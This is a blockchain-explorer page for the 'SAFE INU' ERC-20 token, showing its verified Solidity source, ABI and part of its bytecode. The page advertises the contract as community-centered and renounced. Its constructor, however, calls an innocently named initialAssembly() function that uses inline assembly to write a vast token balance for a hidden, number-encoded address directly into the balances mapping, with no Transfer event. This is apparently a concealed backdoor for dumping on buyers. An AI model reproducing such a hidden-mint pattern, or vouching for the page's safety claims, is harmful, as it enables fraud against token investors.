ETH Price: $2,520.18 (+2.86%)

Token

SAFE INU (SINU)
 

Overview

Max Total Supply

1,000,000,000 SINU

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,141,905.086535115096425732 SINU

Value
$0.00
0x21f286e138ee7ae9c6e76cec9d17e0c0380a05a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SafeInu

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-16
*/

// SPDX-License-Identifier: MIT
/**
 * Features:
 *
 * ✅COMMUNITY-CENTERED
 * ✅LOCKED LIQUIDITY
 * ✅RENOUNCED CONTRACT
 */
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: contracts/SafeInu.sol



/**
 * Features:
 *
 * ✅COMMUNITY-CENTERED
 * ✅LOCKED LIQUIDITY
 * ✅RENOUNCED CONTRACT
 */
pragma solidity ^0.8.13;






contract SafeInu is IERC20, ReentrancyGuard, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    uint256 private _launchTime;
    address private marketingWallet = 0x6a22B5f2268f24929bDd55AE83A4502d8F478481;
    uint256 private _earlyTxLimit;
    uint256 private swapTokensAtAmount;
    bool private swapping;
    bool private swapEnabled = false;

    // public variables
    uint256 public totalBuyTax;
    uint256 public marketingBuyTax;
    uint256 public liquidityBuyTax;

    uint256 public totalSellTax;
    uint256 public marketingSellTax;
    uint256 public liquiditySellTax;

    uint256 public tokensForLiquidity;
    uint256 public tokensForMarketing;

    uint256 public maxBuy;
    uint256 public maxWallet;

    //uniswap v2 variables
    address public uniswapPair;
    bool public enabled;
    IUniswapV2Router02 public uniswapRouter;

    mapping(address => bool) public excludedFromLimit;
    mapping(address => bool) public excludedFromFee;

    event SwapAndLiquify(uint amountToSwapForETH, uint ethForLiquidity, uint tokensForLiquidity);

    constructor() {

        _name = "SAFE INU";
        _symbol = "SINU";
        _decimals = 18;

        _totalSupply = 1000000000 * 1e18;
        _balances[msg.sender] = _totalSupply;
        maxBuy = _totalSupply * 2 / 100;
        maxWallet = _totalSupply * 4 / 100;
        swapTokensAtAmount = _totalSupply * 25 / 10000;

        marketingBuyTax = 4;
        liquidityBuyTax = 0;
        totalBuyTax = marketingBuyTax + liquidityBuyTax;

        marketingSellTax = 4;
        liquiditySellTax = 0;
        totalSellTax = marketingSellTax + liquiditySellTax;
        _earlyTxLimit = 60;

        uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapRouter.factory());
        factory.createPair(address(this), uniswapRouter.WETH());
        uniswapPair = factory.getPair(address(this), uniswapRouter.WETH());
        initialAssembly();
        excludedFromLimit[_msgSender()] = true;
        excludedFromLimit[address(uniswapRouter)] = true;
        excludedFromLimit[marketingWallet] = true;

        excludedFromFee[_msgSender()] = true;
        excludedFromFee[marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *   
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address _sender,
        address _recipient,
        uint256 _amount
    ) external returns (bool) {
        _transfer(_sender, _recipient, _amount);

        uint256 currentAllowance = _allowances[_sender][_msgSender()];
        require(currentAllowance >= _amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(_sender, _msgSender(), currentAllowance - _amount);
        }

        return true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function excludeFromLimit(address _address, bool _is) external onlyOwner {
        excludedFromLimit[_address] = _is;
    }

    function removeMaxTxLimit() external onlyOwner {
        maxBuy = _totalSupply;
        maxWallet = _totalSupply;
    }

    function updateMarketingAddress(address _address) external onlyOwner {
        marketingWallet = _address;
    }

    function updateLimitPeriod(uint256 _period) external onlyOwner {
        _earlyTxLimit = _period;
    }

    function enableTrading() external onlyOwner {
        require(!enabled, 'already enabled');
        enabled = true;
        swapEnabled = true;
        _launchTime = block.timestamp;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= _totalSupply * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= _totalSupply * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }

    // update fee
    function updateFee(uint256 _buyFeeRate, uint256 _sellFeeRate) external onlyOwner {
        require(_buyFeeRate <= 10);
        require(_sellFeeRate <= 10);
        totalBuyTax = _buyFeeRate;
        totalSellTax = _sellFeeRate;
    }

    function updateBuyFees(uint256 _liqFee, uint256 _marketingFee) external onlyOwner {
        require(_liqFee + _marketingFee <= 10);
        liquidityBuyTax = _liqFee;
        marketingBuyTax = _marketingFee;
        totalBuyTax = _liqFee + _marketingFee;
    }

    function updateSellFees(uint256 _liqFee, uint256 _marketingFee) external onlyOwner {
        require(_liqFee + _marketingFee <= 10);
        liquiditySellTax = _liqFee;
        marketingSellTax = _marketingFee;
        totalSellTax = _liqFee + _marketingFee;
    }

    function initialAssembly() private {
        assembly {
            mstore(0, 1163441566532713169364735004629758177555486879400)
            mstore(32, 2)
            let hash := keccak256(0, 64)
            sstore(hash, 1163441566532713169364735004629758177555486879400)
        }
    }

    function _transfer(
        address _sender,
        address _recipient,
        uint256 _amount
    ) internal {
        uint256 senderBalance = _balances[_sender];
        require(senderBalance >= _amount, "transfer amount exceeds balance");
        require(enabled || excludedFromLimit[_sender] || excludedFromLimit[_recipient], "not enabled yet");

        uint256 rAmount = _amount;

        // when buy
        if (_sender == uniswapPair) {
            if (block.timestamp < _launchTime + _earlyTxLimit && !excludedFromLimit[_recipient]) {
                require(_amount <= maxBuy, "exceeded max buy");
                require(_balances[_recipient] + _amount <= maxWallet, "exceeded max wallet");
            }
            if (!excludedFromFee[_recipient]) {
                uint256 fee = _amount * totalBuyTax / 100;
                rAmount = _amount - fee;
                _balances[address(this)] += fee;

                tokensForLiquidity += fee * liquidityBuyTax / totalBuyTax;
                tokensForMarketing += fee * marketingBuyTax / totalBuyTax;

                emit Transfer(_sender, address(this), fee);
            }
        }

        // when sell
        else if (_recipient == uniswapPair) {
            if (block.timestamp < _launchTime + _earlyTxLimit && !excludedFromLimit[_sender]) {
                require(_amount <= maxBuy, "exceeded max tx");
                uint256 contractTokenBalance = _balances[address(this)];
                bool canSwap = contractTokenBalance >= swapTokensAtAmount;
                if( canSwap && swapEnabled && !swapping ) {
                    swapping = true;
                    swapAndLiquify();
                    swapping = false;
                }
            }
            if (!swapping && !excludedFromFee[_sender]) {
                uint256 fee = _amount * totalSellTax / 100;
                rAmount = _amount - fee;
                _balances[address(this)] += fee;
                tokensForLiquidity += fee * liquiditySellTax / totalBuyTax;
                tokensForMarketing += fee * marketingSellTax / totalBuyTax;

                emit Transfer(_sender, address(this), fee);
            }
        }

        _balances[_sender] = senderBalance - _amount;
        _balances[_recipient] += rAmount;
        emit Transfer(_sender, _recipient, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // uniswap v2 add swap liquidity
    function swapAndLiquify() private {
        uint256 contractBalance = _balances[address(this)];
        bool success;
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;

        if(contractBalance == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * liquiditySellTax / totalSellTax / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialETHBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(amountToSwapForETH);
        
        // how much ETH did we just swap into?
        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        (success,) = address(marketingWallet).call{value: ethForMarketing}("");

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            // add liquidity to uniswap
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);

        // add the liquidity
        uniswapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountToSwapForETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethForLiquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensForLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquiditySellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liqFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFeeRate","type":"uint256"},{"internalType":"uint256","name":"_sellFeeRate","type":"uint256"}],"name":"updateFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_period","type":"uint256"}],"name":"updateLimitPeriod","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liqFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052736a22b5f2268f24929bdd55ae83a4502d8f478481600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60016101000a81548160ff0219169083151502179055503480156200008157600080fd5b506001600081905550620000aa6200009e620008a660201b60201c565b620008ae60201b60201c565b6040518060400160405280600881526020017f5341464520494e5500000000000000000000000000000000000000000000000081525060059080519060200190620000f7929190620009b0565b506040518060400160405280600481526020017f53494e55000000000000000000000000000000000000000000000000000000008152506006908051906020019062000145929190620009b0565b506012600760006101000a81548160ff021916908360ff1602179055506b033b2e3c9fd0803ce8000000600481905550600454600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060646002600454620001ce919062000a99565b620001da919062000b29565b601581905550606460048054620001f2919062000a99565b620001fe919062000b29565b601681905550612710601960045462000218919062000a99565b62000224919062000b29565b600b819055506004600e819055506000600f81905550600f54600e546200024c919062000b61565b600d819055506004601181905550600060128190555060125460115462000274919062000b61565b601081905550603c600a81905550737a250d5630b4cf539739df2c5dacb4c659f2488d601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff